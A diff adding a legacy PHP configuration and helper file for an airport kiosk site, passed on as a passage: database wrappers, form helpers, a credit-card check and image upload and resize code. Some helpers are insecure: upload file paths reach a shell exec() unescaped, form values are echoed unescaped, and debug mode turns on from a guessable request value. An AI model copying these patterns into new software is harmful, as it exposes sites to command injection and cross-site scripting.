index 0000000..3317cba
--- /dev/null
@@ -0,0 +1,1758 @@
+<?php
+ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+/** @header Gaslight Media Toolbox�
+  Media Toolbox(R)
+  Setup.phtml file includes the functions that were in the functions.inc
+  and siteinfo.inc file into one file.
+  All set up stuff is on the top of the page.
+
+  $Id: setup.phtml,v 1.2 2012/01/03 20:00:46 cscott Exp $
+ */
+
+if( !isset($SITEINFO) )
+       {
+
+               if(!isset($DEBUG))      
+               {
+                       $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+               }
+               // setup for pages
+               define("HOME_ID",1); // change this if home page is other than id = 1
+               $PAGES['default'] = 'index';
+               $PAGES[1] = 'index';
+               //$DEBUG = TRUE;
+
+               /*
+                *      Customer Setup 
+                */
+               define("SITENAME","Pellston Airport Kiosk");    // used for outputing name of site in admin area
+               define("SITE_NAME",SITENAME);   // same as SITENAME
+               define("DB_TYPE", "postgres");  // DB library only knows postgres (FUTURE EXPANSION)
+               define("DB_ERROR_MSG", "an error has occured with the database!");      // default error message
+               define("MULTIPLE_CAT",0);               // weather or not to use many to many relations
+               define("CAT_LOCK",0);                   // If set to 1 or true will lock the categories 
+               define("ENTRIES_PER_PAGE",10);  // default per page number
+               define("HTML_HELP_CODE",1);     // this is being depreciated for general help guides
+               define("PRODUCTION_MODE","ON"); // used in the email out for contact DB
+               define("HTML_EMAIL","ON");      // turn ON for html emails
+               define("ACTIVE_FLAG",1);                // turn on if bus_category table has active bool field 
+               define("DELUXE_TOOLBOX",1);             // used for the toolbox deluxe vrs.
+               define("SEO_URL",1);                    // weather to use Search Engine Optimisezd url's requires .htaccess enabled
+               define("PHOTO_GALLERY",0);
+               /** htmlarea plugins */
+               define("HTMLAREA_TABLES",true); // weather to load the table plugin or not
+               define("HTMLAREA_CONTEXT_MENU",true);   // weather to load the context menu plugin or not
+               define("HTMLAREA_IMAGE_MANAGER",true);
+               define("HTMLAREA_CHARACTER_MAP",false);
+               define("HOME_PAGE_EVENTS",0);
+               /*
+                *
+                *      DO NOT EDIT THIS SECTION
+                *
+                */
+
+               // Find where this file is located
+
+               $BASE_PATH              = dirname( __FILE__ );
+
+               $CALLED_FROM_DIR        = substr( dirname($HTTP_SERVER_VARS["PATH_TRANSLATED"]), strlen($BASE_PATH) );
+
+               if( ($x = strlen($CALLED_FROM_DIR)) > 0 )
+                       $base_url       = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($CALLED_FROM_DIR) );
+               else
+               {
+                       $script_name_dir = dirname($SCRIPT_NAME);
+                       if( $script_name_dir == "/" )
+                               $script_name_dir = "";
+                       $base_url       = $HTTP_HOST.$script_name_dir;
+               }
+               $BASE_URL = "http://".$base_url;
+               // Indicate that this file has been referenced
+               $SITEINFO               = TRUE;
+               /*
+                *
+                *      Dynamic Configuration - Parameters that DO change based on location
+                *
+                */
+               switch( $GLM_SERVER_ID )
+               {
+
+                       case "devsys.gaslightmedia.com":        
+                               ini_set("display_errors","1");
+                               // Use the $BASE_URL for secure URL on Devsys
+                               $BASE_SECURE_URL = $BASE_URL;   
+                               define("CONN_STR","host=devsys dbname=pellstonairport");
+                               define("OWNER_EMAIL", "steve@gaslightmedia.com");               // site owner's email address
+                               define("FROM_NEWS_EMAIL", "info@gaslightmedia.com");            // site owner's email address
+                               define("REPLY_TO", "info@gaslightmedia.com");                   // the reply-to field for email's
+                       break;
+
+                       case "ws1.gaslightmedia.com":
+                               error_reporting(0);
+                               ini_set("display_errors","0");
+                               $BASE_SECURE_URL = "https://".$base_url;
+                               // for some sites it is necesary to change base_url when in secure mode
+                               if( $_SERVER['HTTPS'] == "on" )
+                               {
+                                       define("BASE_SECURE_URL", $BASE_SECURE_URL."/");         // url used for the secur site
+                                       $BASE_URL = "http://".$base_url;                                         // This needs to be set to the real url ie. http://www.upnorth.net
+                               }
+                               define("CONN_STR","host=ds4 dbname=pellstonairport");
+                               define("OWNER_EMAIL", "PellstonKiosk@emmetcounty.org");          // site owner's email address
+                               define("FROM_NEWS_EMAIL", "info@gaslightmedia.com");            // site owner's email address
+                               define("REPLY_TO", "PellstonKiosk@emmetcounty.org");             // the reply-to field for email's
+                       break;
+
+                       default:        // There should be no need for any settings here
+                       break;
+
+               }
+               define("BASE_URL", $BASE_URL."/");                                      // url used for the root of site
+               define("URL_BASE", $BASE_URL."/");                                      // same as BASE_URL
+               define("BASE_PATH", $BASE_PATH."/");                            // root directory path of site
+               define("BASE", $BASE_PATH."/");                                         // same as BASE_PATH
+               define("HELP_BASE", "help/");                                           // help guide base (depreciated)
+               define("UP_BASE", BASE."uploads/");                                     // uploads directory path
+               define("IMG_BASE", URL_BASE."images/");                         // the images url path
+               define("POSTCARD_URL",URL."postcard.phtml");            // postcard url (used for postcard app)
+               define("LOGO_IMG",URL_BASE."images/logoicon.gif");      // used in admin area as the path to image logo
+               define("HELP_IMG",URL_BASE."images/help.gif");          // help image url (depriated)
+               define("ORIGINAL_PATH", BASE."images/original/");       // path of original images
+               define("RESIZED_PATH", BASE."images/resized/");         // path of first resized image
+               define("MIDSIZED_PATH", BASE."images/midsized/");       // path of half sized of resized 
+               define("THUMB_PATH", BASE."images/thumb/");                     // path of thumbnail directory
+               if( $_SERVER['HTTPS'] == "on" )
+               {
+                       define("ORIGINAL", $BASE_SECURE_URL."/images/original/");       // url of original images
+                       define("RESIZED", $BASE_SECURE_URL."/images/resized/");         // url of resized 
+                       define("MIDSIZED", $BASE_SECURE_URL."/images/midsized/");       // url of midsized
+                       define("THUMB", $BASE_SECURE_URL."/images/thumb/");                     // url of thumbnail
+               }
+               else
+               {
+                       define("ORIGINAL", URL_BASE."images/original/");        // url of original images
+                       define("RESIZED", URL_BASE."images/resized/");          // url of resized 
+                       define("MIDSIZED", URL_BASE."images/midsized/");        // url of midsized
+                       define("THUMB", URL_BASE."images/thumb/");                      // url of thumbnail
+               }
+               
+               /** these are the image sizing defines USE THESE ONLY 
+                 only allowed string of 'WxH[<>]' [-quality Percentage]
+                */
+               define("ITEM_RESIZED", "'287>'");               // used in convert call to resize images
+               define("ITEM_MIDSIZED", "'210>'");              
+               define("ITEM_THUMB","'120>'");
+
+               define("FOOTER_IMG", URL_BASE."images/logosmall.gif");
+               define("FOOTER_URL", URL_BASE);
+               define("STYLE","main.css");
+
+               /**
+                These are defines for the photo gallery images
+                */
+               define('PHOTO_LARGE_SIZE',"'430x300>'");
+               define('PHOTO_LARGE_DIR',BASE.'images/photo-large/');
+               define('PHOTO_LARGE_URL',BASE_URL.'images/photo-large/');
+
+               define('PHOTO_SMALL_SIZE',"'133x100>'");
+               define('PHOTO_SMALL_DIR',BASE.'images/photo-small/');
+               define('PHOTO_SMALL_URL',BASE_URL.'images/photo-small/');
+               // [status_US] array of states and their abbr.
+               $states_US[""] = "- Choose State -";
+               $states_US["AL"]= "Alabama";
+               $states_US["AK"]= "Alaska";
+               $states_US["AZ"]= "Arizona";
+               $states_US["AR"]= "Arkansas";
+               $states_US["CA"]= "California";
+               $states_US["CO"]= "Colorado";
+               $states_US["CT"]= "Connecticut";
+               $states_US["DE"]= "Delaware";
+               $states_US["DC"]= "District of Columbia";
+               $states_US["FL"]= "Florida";
+               $states_US["GA"]= "Georgia";
+               $states_US["HI"]= "Hawaii";
+               $states_US["ID"]= "Idaho";
+               $states_US["IL"]= "Illinois";
+               $states_US["IN"]= "Indiana";
+               $states_US["IA"]= "Iowa";
+               $states_US["KS"]= "Kansas";
+               $states_US["KY"]= "Kentucky";
+               $states_US["LA"]= "Louisiana";
+               $states_US["ME"]= "Maine";
+               $states_US["MD"]= "Maryland";
+               $states_US["MA"]= "Massachusetts";
+               $states_US["MI"]= "Michigan";
+               $states_US["MN"]= "Minnesota";
+               $states_US["MS"]= "Mississppi";
+               $states_US["MO"]= "Missouri";
+               $states_US["MT"]= "Montana";
+               $states_US["NE"]= "Nebraska";
+               $states_US["NV"]= "Nevada";
+               $states_US["NH"]= "New Hampshire";
+               $states_US["NJ"]= "New Jersey";
+               $states_US["NM"]= "New Mexico";
+               $states_US["NY"]= "New York";
+               $states_US["NC"]= "North Carolina";
+               $states_US["ND"]= "North Dakota";
+               $states_US["OH"]= "Ohio";
+               $states_US["OK"]= "Oklahoma";
+               $states_US["OR"]= "Oregon";
+               $states_US["PA"]= "Pennsylvania";
+               $states_US["RI"]= "Rhode Island";
+               $states_US["SC"]= "South Carolina";
+               $states_US["SD"]= "South Dakota";
+               $states_US["TN"]= "Tennessee";
+               $states_US["TX"]= "Texas";
+               $states_US["UT"]= "Utah";
+               $states_US["VT"]= "Vermont";
+               $states_US["VA"]= "Virginia";
+               $states_US["WA"]= "Washington";
+               $states_US["WV"]= "West Virginia";
+               $states_US["WI"]= "Wisconsin";
+               $states_US["WY"]= "Wyoming";
+
+               // [states] extended states array
+               $states["AL"]  = "Alabama";
+               $states["AK"] =  "Alaska";
+               $states["AB"] =  "Alberta";
+               $states["AS"] =  "American Samoa";
+               $states["AZ"] =  "Arizona";
+               $states["AR"] =  "Arkansas";
+               $states["BC"] =  "British Columbia";
+               $states["CA"] =  "California";
+               $states["CO"] =  "Colorado";
+               $states["CT"] =  "Connecticut";
+               $states["DE"] =  "Delaware";
+               $states["DC"] =  "District of Columbia";
+               $states["FM"] =  "Federated States of Micronesia";
+               $states["FL"] =  "Florida";
+               $states["GA"] =  "Georgia";
+               $states["GU"] =  "Guam";
+               $states["HI"] =  "Hawaii";
+               $states["ID"] =  "Idaho";
+               $states["IL"] =  "Illinois";
+               $states["IN"] =  "Indiana";
+               $states["IA"] =  "Iowa";
+               $states["KS"] =  "Kansas";
+               $states["KY"] =  "Kentucky";
+               $states["LA"] =  "Louisiana";
+               $states["ME"] =  "Maine";
+               $states["MB"] =  "Manitoba";
+               $states["MH"] =  "Marshall Islands";
+               $states["MD"] =  "Maryland";
+               $states["MA"] =  "Massachusetts";
+               $states["MI"] =  "Michigan";
+               $states["MN"] =  "Minnesota";
+               $states["MS"] =  "Mississppi";
+               $states["MO"] =  "Missouri";
+               $states["MT"] =  "Montana";
+               $states["NE"] =  "Nebraska";
+               $states["NV"] =  "Nevada";
+               $states["NB"] =  "New Brunswick";
+               $states["NF"] =  "Newfoundland";
+               $states["NH"] =  "New Hampshire";
+               $states["NJ"] =  "New Jersey";
+               $states["NM"] =  "New Mexico";
+               $states["NY"] =  "New York";
+               $states["NC"] =  "North Carolina";
+               $states["ND"] =  "North Dakota";
+               $states["MP"] =  "Northern Mariana Islands";
+               $states["NT"] =  "Northwest Territories";
+               $states["NS"] =  "Nova Scotia";
+               $states["OH"] =  "Ohio";
+               $states["OK"] =  "Oklahoma";
+               $states["ON"] =  "Ontario";
+               $states["OR"] =  "Oregon";
+               $states["PW"] =  "Palau";
+               $states["PA"] =  "Pennsylvania";
+               $states["PE"] =  "Prince Edward Island";
+               $states["PR"] =  "Puerto Rico";
+               $states["QC"] =  "Quebec";
+               $states["RI"] =  "Rhode Island";
+               $states["SK"] =  "Saskatchewan";
+               $states["SC"] =  "South Carolina";
+               $states["SD"] =  "South Dakota";
+               $states["TN"] =  "Tennessee";
+               $states["TX"] =  "Texas";
+               $states["UT"] =  "Utah";
+               $states["VT"] =  "Vermont";
+               $states["VI"] =  "Virgin Islands";
+               $states["VA"] =  "Virginia";
+               $states["WA"] =  "Washington";
+               $states["WV"] =  "West Virginia";
+               $states["WI"] =  "Wisconsin";
+               $states["WY"] =  "Wyoming";
+               $states["YT"] =  "Yukon";
+               $states["Asia"] =  "Asia";
+               $states["Australia"] =  "Australia";
+               $states["Bahamas"] =  "Bahamas"; 
+               $states["Caribbean"] =  "Caribbean";
+               $states["Costa Rica"] =  "Costa Rica";
+               $states["South America"] =  "South America";
+               $states["South Africa"] =  "South Africa";
+               $states["Europe"] =  "Europe";
+               $states["Mexico"] = "Mexico";
+               /* Libraries */
+               /* Replaced with the actual functions instead of includes (2001-12-14) */
+
+               
+
+               /**
+                * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+                card type is given, attempts to guess. Then, if a list of
+                accepted types is given, determines whether or not we'll
+                accept it
+                * @param $Num: Credit Card Number
+                * @param $Name = '': Type of Card
+                * @param $Accepted='' : Accepted array
+                * 
+                * @return bool 
+                * @access 
+                **/
+               function CreditVal($Num, $Name = '', $Accepted='') 
+               { 
+                       $Name = strtolower( $Name );
+                       $Accepted = strtolower( $Accepted );
+                       $GoodCard = 1;
+                       $Num = ereg_replace("[^[:digit:]]", "", $Num); 
+                       switch ($Name) 
+                       { 
+
+                               case "mastercard" : 
+                                       $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+                               break; 
+
+                               case "visa" : 
+                                       $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+                               break; 
+
+                               case "americanexpress" : 
+                                       $GoodCard = ereg("^3[47].{13}$", $Num); 
+                               break; 
+
+                               case "discover" : 
+                                       $GoodCard = ereg("^6011.{12}$", $Num); 
+                               break; 
+
+                               case "dinerscard" : 
+                                       $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+                               break;
+
+                               default:
+                               if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+                               if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+                               if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+                               if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+                               if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+                               break;
+                       } 
+
+                       // If there's a limit on card types we accept, check for it here.
+                       if( $Accepted )
+                       {
+                               $type_verified = FALSE;
+                               $brands = explode_trim( ",", $Accepted );
+                               foreach( $brands as $brand )
+                                       if( $Name == $brand )
+                                               $type_verified = TRUE;
+
+                               if( !$type_verified ) return(FALSE);
+                       }
+
+                       $Num = strrev($Num); 
+
+                       $Total = 0; 
+
+                       for ($x=0; $x<strlen($Num); $x++) 
+                       { 
+                               $digit = substr($Num,$x,1); 
+                               if ($x/2 != floor($x/2)) 
+                               { 
+                                       $digit *= 2; 
+                                       if (strlen($digit) == 2)  
+                                               $digit = substr($digit,0,1) + substr($digit,1,1); 
+                               } 
+                               $Total += $digit; 
+                       } 
+                       if ($GoodCard && $Total % 10 == 0) 
+                       {
+                               return(true); 
+                       }
+                       else 
+                       {
+                               return(false); 
+                       }
+               }
+               /* DataBase Library */
+
+               /**
+                * db_connect :Creates a connection to database specified $conn_str
+                * @param $conn="" : connection string
+                * 
+                * @return index or bool 
+                * @access 
+                **/
+               function db_connect($conn="") 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                               $conn = CONN_STR;
+                               $ret = pg_connect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_close :Closes the connection to database specified by the handle dbd      
+                * @param $$dbd : database handle 
+                * 
+                * @return bool 
+                * @access 
+                **/
+               function db_close($dbd) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_close($dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                       NOTICE DON'T USE THIS
+                * db_pconnect :Creates a persistant connection to database specified in $conn_str
+                * @param $$conn="" : connection string 
+                * 
+                * @return 
+                * @access 
+                **/
+               function db_pconnect($conn="") 
+               {
+                       return( false );
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                               $conn == CONN_STR;
+                               $ret = pg_pconnect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_exec : Execute an SQL query
+                * @param $dbd: database handle 
+                * @param $$qs : Query
+                * 
+                * @return int Returns a valid result index on success 0 on failure
+                * @access 
+                **/
+               function db_exec($dbd, $qs) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_exec($dbd, $qs);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_fetch_array :Stores the data in associative indices, using the field names as     
+                * keys.
+                * @param $res: valid database result index
+                * @param $i: row number
+                * @param $$type : database type 
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_fetch_array($res, $i, $type) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array($res, $i, $type);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($row);
+               }
+
+               /**
+                * db_freeresult :Free result memory.
+                * @param $$res : valid database result index
+                * 
+                * @return bool - Returns 1 for success 0 for failure
+                * @access 
+                **/
+               function db_freeresult($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_freeresult($res);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_numrows :Determine number of rows in a result index
+                * @param $$res : valid database result index
+                * 
+                * @return int - Returns number of rows
+                * @access 
+                **/
+               function db_numrows($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_numrows($res);
+                               break;
+
+                               default:
+                               return(-1);
+                       }
+
+                       return($ret);
+               }
+
+               /************************************************************************
+                *                                                                                                                                              *
+                * BEGIN Auto functions                                                                                                 *
+                *                                                                                                                                              *
+                ***********************************************************************/
+
+               /**
+                * db_auto_array :The auto function for retrieving an array based soley on a query      
+                * string. This function makes the connection, does the exec, fetches   
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns the array
+                * @param $qs: SQL query string
+                * @param $i: row number
+                * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+                * 
+                * @return array - Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_auto_array($qs, $i, $type) 
+               {
+
+                       $dbd = db_connect();
+                       if(!$dbd)
+                       {
+                               return(0);
+                       }
+                       $res = db_exec($dbd, $qs);
+                       if(!$res)
+                       {
+                               return(0);
+                       }
+
+                       $row = db_fetch_array($res, $i, $type);
+
+                       if(!db_freeresult($res))
+                       {
+                               return(0);
+                       }
+
+                       db_close($dbd);
+                       return($row);
+               }
+
+               /**
+                * db_auto_exec :The auto function for executing a query.                               
+                * This function makes the connection, does the exec, fetches           
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns success (not a valid result index)
+                * @param $qs: SQL query string
+                * @param $$conn="" : Connect String
+                * 
+                * @return int - Returns 1 (or oid, if available) for success 0 for failure
+                * @access 
+                **/
+               function db_auto_exec($qs, $conn="") 
+               {
+
+                       if($conn == "")
+                               $conn = CONN_STR;
+                       $dbd = db_connect($conn);
+                       if(!$dbd)
+                               return(0);
+                       if(!db_exec($dbd, $qs)) 
+                       {
+                               db_close($dbd);
+                               return(0);
+                       }
+                       else 
+                       {
+                               db_close($dbd);
+                               return(1);
+                       }
+               }
+
+               /**
+                * db_auto_get_data :The auto function for retrieving an array based soley on a query   
+                string. This function makes the connection, does the exec, fetches     
+                the array, closes the connection, frees memory used by the result,     
+                and then returns the array
+                * @param $qs:  SQL query string
+                * @param $CONN_STR: Connect String
+                * @param $$fail_mode=0 : Failure Mode
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0) 
+               {
+
+                       if( !($dbd = db_connect($conn)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       if( !($res = db_exec($dbd, $qs)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       $totalrows = pg_NumRows($res);
+
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC );
+                       }
+
+                       db_close( $dbd );
+                       if(isset($data) && $data!="")   
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return(0);
+                       }
+               }
+
+               /* HTML Libraries */
+
+               /**
+                * html_footer :Generates a footer table on the bottom of the page it's called on.      
+                and closes out the body and html tags.
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_footer() 
+               {
+                       $footer_table_width = "400";
+                       $footer_table_align = "center";
+
+                       ?>
+                               <hr>
+                               <table width="<?echo $footer_table_width?>" align="<?echo $footer_table_align?>" summary="Footer Information" class="footertable" cellspacing="0">
+                               <tr>
+                               <td align="left" class="footertd">
+                               <a href="mailto:<?echo MASTER_EMAIL?>"><?echo MASTER?></a>
+                               </td>
+                               <td align="right" class="footertd">
+                               <a href="<?echo FOOTER_URL?>" target="new">
+                               <img src="<?echo FOOTER_IMG?>" border=0 alt="FOOTER_IMG"></a>
+                               </td>
+                               </tr>
+                               </table>
+                               </body>
+                               </html>
+                               <?
+                               exit(); /* we've got to terminate any more output */
+               }
+
+               /**
+                * html_error :Generates a footer table on the bottom of the page it's called on.       
+                and closes out the body and html tags.
+                * @param $msg: string error message to be displayed
+                * @param $$bail : bool whether or not to exit() after $msg
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_error($msg, $bail) 
+               {
+                       ?>
+                               <table summary="Error Information" class="errortable" cellspacing="0">
+                               <tr class="errortr">
+                               <td class="errortd">
+                               <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+                               </td>
+                               </tr>
+                               </table>
+
+                               <?
+                               if($bail)
+                               {
+                                       html_footer();
+                               }
+               }
+
+               /**
+                * html_nav_table :Generates a navigation table on the page it's called on.
+                * @param $nav: associative array with entries like:$nav[text][url]
+                * @param $$w : max width of table
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_nav_table($nav, $w) 
+               {
+                       if( is_array( $nav ) )
+                       {
+                               $out = '<ul class="admin_nav">';
+                               foreach( $nav as $link => $url )
+                               {
+                                       $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+                               }
+                               $out .= '</ul>';
+                       }
+                       echo $out;
+               }
+
+               /**
+                * html_header :Opens up the html tags, and includes the style sheet link                       
+                generates a header table on the top of the page it's called on.
+                * @param $title: Page Title 
+                * @param $msg: message to display 
+                * @param $$img : image to display
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_header($title, $msg, $img) 
+               {
+                       $header_table_width = "400";
+                       $header_table_align = "center";
+
+                       ?>
+                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+                               "http://www.w3.org/TR/html4/loose.dtd">
+                               <html>
+                               <head>
+                               <title><?echo $title?></title>
+                               <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+                               </head>
+                               <body>
+                               <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+                               <tr class="headertr">
+                               <td class="headertd">
+                               <?
+                               if($img) 
+                               {
+                                       ?>
+                                               <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+                                               <?
+                               }
+                       ?>
+                               </td>
+                               </tr>
+                               <tr>
+                               <td class="headertd2" align="center">
+                               <div class="headerh2" align="center"><?echo "$msg"?></div>
+                               </td>
+                               </tr>
+                               </table>
+                               <?
+               }
+
+               /**
+                * form_header :Opens up the form tag, and includes the hidden assoc array as hidden    
+                fields.
+                * @param $action: string form action string
+                * @param $method: string Method of form
+                * @param $$hidden = "" : assoc array with $hidden($name => $value)
+                * 
+                * @return void 
+                * @access 
+                **/
+               function form_header($action, $method, $hidden = "") 
+               {
+                       echo "<form action=\"$action\" method=\"$method\" 
+                               enctype=\"multipart/form-data\">";
+                       if($hidden != "" && is_array($hidden)) 
+                       {               
+                               foreach($hidden as $key=>$value) 
+                               {
+                                       echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+                               }
+                       }
+               }
+
+               /**
+                * text_area :Creates textarea with good default values for rows cols and wrap.
+                * @param $name: string form action string
+                * @param $value: string Method of form
+                * @param $$rows = 15: int4 number of rows in textarea box
+                * @param $$cols = 50: int4 number of cols in textarea box
+                * @param $$wrap = "virtual"  : string the wrap value for the textarea box
+                * 
+                * @return void 
+                * @access 
+                **/
+               function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" ) 
+               {
+                       echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\" 
+                               rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+               }
+
+               /**
+                * text_box :Creates a input box for text with 35 as default size
+                * @param $name: string name of text box
+                * @param $value: string value of text box
+                * @param $$size = 35 : string size of text box
+                * 
+                * @return void 
+                * @access 
+                **/
+               function text_box($name, $value, $size = 35) 
+               {
+                       echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\" 
+                               value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+               }
+
+               /**
+                * form_footer :Closes up the form tag, and includes the submit button
+                * @param $name: string form action string
+                * @param $$suppress = 0: string Method of form
+                * @param $$cs : int colspan for td 
+                * 
+                * @return void 
+                * @access 
+                **/
+               function form_footer($name, $suppress = 0, $cs) 
+               {
+                       echo "<tr><td colspan=\"$cs\" align=center>
+                               <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+                       if($suppress == 1) 
+                       {
+                               echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+                       }
+                       /*              echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+                       echo "</td>";
+               }
+
+               /* Graphics Libraries */
+
+               /**
+                * process_image :Main function for image processing                                    
+                * NOTES:                                                               
+                * This function does the following:                       
+                *
+                * 1) places image into original folder                    
+                *
+                * 2) makes three images from original size and places them
+                * into the RESIZED, MIDSIZED, and THUMB folders
+                * @param $image: The variable of the image being post from the form
+                * @param $$image_name : The variable_name of the image being post
+                * 
+                * @return string - Returns $image_name
+                * @access 
+                **/
+               function process_image ($image,$image_name) 
+               {
+                       if(!defined("ORIGINAL_PATH")) 
+                       {
+                               html_error("this not defined original_path",1);
+                       }
+                       if(!defined("RESIZED_PATH")) 
+                       {
+                               html_error("this not defined resized_path",1);
+                       }
+                       if(!defined("MIDSIZED_PATH")) 
+                       {
+                               html_error("this not defined midsized_path",1);
+                       }
+                       if(!defined("THUMB_PATH")) 
+                       {
+                               html_error("this not defined thumb_path",1);
+                       }
+                       $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+                       //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+                       img_resize(ORIGINAL_PATH.$image_upload_array[0],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+                       img_resize(RESIZED_PATH.$image_upload_array[0],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+                       img_resize(MIDSIZED_PATH.$image_upload_array[0],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+                       $image_name = $image_upload_array[0];
+                       return($image_name);
+               }
+
+               /**
+                * img_resize :Resizes an image based on a full scale jpeg or gif
+                * @param $image: path to image which needs to be resized
+                * @param $thumb: path where resized image will live
+                * @param $$size : using axis size of new image
+                * 
+                * @return array $img_resize_array 
+                * @access 
+                **/
+               function img_resize($path2image,$path2thumb,$size) 
+               {
+                       exec( "which convert", $output, $return );
+                       if( $return == 0 )
+                       {
+                               $command = $output[0];
+                               $pos = strpos($command,"convert");
+                               $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+                       }
+                       else
+                       {
+                               $Path2GraphicsTools = "/usr/X11R6/bin";
+                       }
+                       $imageName = basename($path2image);
+                       $thumbName = basename($path2thumb);
+
+                       exec("$Path2GraphicsTools/convert -quality 100 -scale $size $path2image $path2thumb");
+
+                       $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+                       return($img_resize_array);
+               }
+
+               /**
+                * img_upload :Function moves the image to the destination directory 
+                Checking to make sure that it does not have same named file in dicectory.                      
+                Image must be either jpg ,png or gif format file to be uploaded.
+                * @param $form_field: $form_field of image
+                * @param $img_name: $form_field of image with _name
+                * @param $$destination_path : path to store uploaded image
+                * 
+                * @return array $img_upload_array
+                * @access 
+                **/
+               function img_upload($form_field,$img_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name)) 
+                       {
+                               $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+                       }
+
+                       $size = getImageSize($form_field);
+
+                       if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 ) 
+                       {
+                               $img_name_in_use = "FALSE";
+                               if( file_exists(RESIZED_PATH.$img_name) )
+                               {
+                                       $img_name_in_use = "TRUE";
+                               }
+
+                               if ($img_name_in_use == "TRUE") 
+                               {
+                                       $new_img_name = mktime().$img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                               else 
+                               {
+                                       $new_img_name = $img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                       }
+                       else 
+                       {
+                               echo '<p style="background-color:red;color:white;">'
+                                       .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+                                       .'<BR CLEAR=ALL>'
+                                       .'</p>'
+                                       ."Hit your browser's back button to continue"
+                                       .'<P>';
+                               $error[0] = "ERROR";
+                               return($error);
+                       }
+
+                       return($img_upload_array);
+               }
+
+               /**
+                * file_upload :Uploads a file same way as image_uploads does
+                * @param $form_field: $form_field of image
+                * @param $file_name: $form_field of image with _name
+                * @param $$destination_path : path to store uploaded image
+                * 
